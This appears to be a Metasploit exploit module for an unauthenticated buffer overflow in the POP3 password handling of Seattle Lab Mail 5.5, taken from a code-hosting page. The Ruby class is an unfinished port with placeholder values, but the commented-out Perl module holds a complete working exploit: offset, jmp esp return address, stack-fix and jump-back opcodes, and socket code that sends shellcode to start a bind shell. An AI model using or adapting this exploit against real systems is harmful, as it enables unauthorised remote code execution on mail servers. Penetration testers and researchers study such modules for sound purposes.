234 lines
6.6 KiB
Ruby
234 lines
6.6 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
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'Description' => %q{
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There exists an unauthenticated buffer overflow
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vulnerability in the POP3 server of Seattle Lab Mail 5.5
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when sending a password with excessive length.
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Successful exploitation should not crash either the service
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or the server; however, after initial use the port cannot be
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reused for successive exploitation until the service has
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been restarted. Consider using a command execution payload
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following the bind shell to restart the service if you need
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to reuse the same port.
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The overflow appears to occur in the debugging/error
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reporting section of the slmail.exe executable, and there
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are multiple offsets that will lead to successful
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exploitation. This exploit uses 2606, the offset that
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creates the smallest overall payload. The other offset is
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4654.
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The return address is overwritten with a "jmp esp" call from
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the application library SLMFC.DLL found in
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%SYSTEM%\system32\. This return address works against all
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version of Windows and service packs.
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The last modification date on the library is dated 06/02/99.
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Assuming that the code where the overflow occurs has not
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changed in some time, prior version of SLMail may also be
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vulnerable with this exploit. The author has not been able
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to acquire older versions of SLMail for testing purposes.
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Please let us know if you were able to get this exploit
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working against other SLMail versions.
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},
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'Author' => [ 'Stinko' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '12002'],
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[ 'BID', '7519'],
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[ 'MIL', '57'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x0a\x0d\x20",
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'MinNops' => 100,
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},
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'Targets' =>
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[
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[
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'Automatic Targetting',
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{
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'Platform' => 'win32',
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'Ret' => 0x0,
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},
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],
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],
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'DisclosureDate' => 'May 07 2003',
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'DefaultTarget' => 0))
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end
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def exploit
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connect
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handler
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disconnect
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end
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=begin
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##
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# This file is part of the Metasploit Framework and may be redistributed
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# according to the licenses defined in the Authors field below. In the
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# case of an unknown or missing license, this file defaults to the same
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# license as the core Framework (dual GPLv2 and Artistic). The latest
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# version of the Framework can always be obtained from metasploit.com.
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##
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package Msf::Exploit::seattlelab_mail_55;
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use base "Msf::Exploit";
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use strict;
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my $advanced = {};
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my $info =
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{
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'Name' => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
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'Version' => '$Revision$',
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'Authors' => [ 'Stinko', ],
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'Arch' => [ 'x86' ],
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'OS' => [ 'win32' ],
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'Priv' => 1,
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'UserOpts' =>
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{
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'RHOST' => [1, 'ADDR', 'The target address'],
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'RPORT' => [1, 'PORT', 'The target port', 110],
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x0a\x0d\x20",
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'MinNops' => 100,
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'Keys' => ['+ws2ord'],
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},
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'Description' => Pex::Text::Freeform(qq{
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There exists an unauthenticated buffer overflow vulnerability
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in the POP3 server of Seattle Lab Mail 5.5 when sending a password
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with excessive length.
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Successful exploitation should not crash either the
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service or the server; however, after initial use the
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port cannot be reused for successive exploitation until
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the service has been restarted. Consider using a command
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execution payload following the bind shell to restart
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the service if you need to reuse the same port.
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|
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The overflow appears to occur in the debugging/error reporting
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|
|
section of the slmail.exe executable, and there are multiple
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|
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offsets that will lead to successful exploitation. This exploit
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uses 2606, the offset that creates the smallest overall payload.
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The other offset is 4654.
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The return address is overwritten with a "jmp esp" call from the
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|
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application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
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return address works against all version of Windows and service packs.
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The last modification date on the library is dated 06/02/99. Assuming
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that the code where the overflow occurs has not changed in some time,
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prior version of SLMail may also be vulnerable with this exploit. The
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author has not been able to acquire older versions of SLMail for
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testing purposes. Please let us know if you were able to get this
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exploit working against other SLMail versions.
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}),
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'Refs' =>
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[
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['OSVDB', '12002'],
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['BID', '7519'],
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['MIL', '57'],
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],
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'DefaultTarget' => 0,
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'Targets' =>
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[
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['Windows NT/2000/XP/2003 (SLMail 5.5)', 2606, 0x5f4a358f],
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],
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'Keys' => ['pop3'],
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'DisclosureDate' => 'May 07 2003',
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};
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sub new {
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my $class = shift;
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my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
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return($self);
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}
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sub Exploit {
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my $self = shift;
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my $target_host = $self->GetVar('RHOST');
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my $target_port = $self->GetVar('RPORT');
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my $shellcode = $self->GetVar('EncodedPayload')->Payload;
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my $target_idx = $self->GetVar('TARGET');
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my $target = $self->Targets->[$target_idx];
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my $result;
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my $request = "PASS " . Pex::Text::EnglishText($target->[1] - length($shellcode));
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$request .= $shellcode;
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$request .= pack("V", $target->[2]);
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$request .= "\x81\xc4\xff\xef\xff\xff\x44"; # Fix the stack
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$request .= "\xe9\xcb\xfd\xff\xff"; # Go back 560 bytes
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$request .= Pex::Text::EnglishText(512); # Oh look. Cruft.
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$request .= "\r\n";
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$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using jmp esp at 0x%.8x...", $target->[2]));
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my $s = Msf::Socket::Tcp->new
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(
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'PeerAddr' => $target_host,
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'PeerPort' => $target_port,
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'LocalPort' => $self->GetVar('CPORT'),
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);
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if ($s->IsError) {
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$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
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return;
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}
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$result = $s->Recv(-1, 5);
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if ($result !~ /^\+OK POP3 server (.*) ready/) {
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$self->PrintLine('[*] POP3 server does not appear to be running.');
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return;
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}
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$s->Send("USER metasploit\r\n");
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$result = $s->Recv(-1, 5);
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if ($result !~ /^\+OK (.*) welcome here$/) {
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$self->PrintLine('[*] POP3 server rejects username.');
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}
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$self->PrintLine('[*] Everything looks good, starting attack...');
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$s->Send($request);
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$self->Handler($s);
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$s->Close();
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return;
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}
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=end
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end
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end
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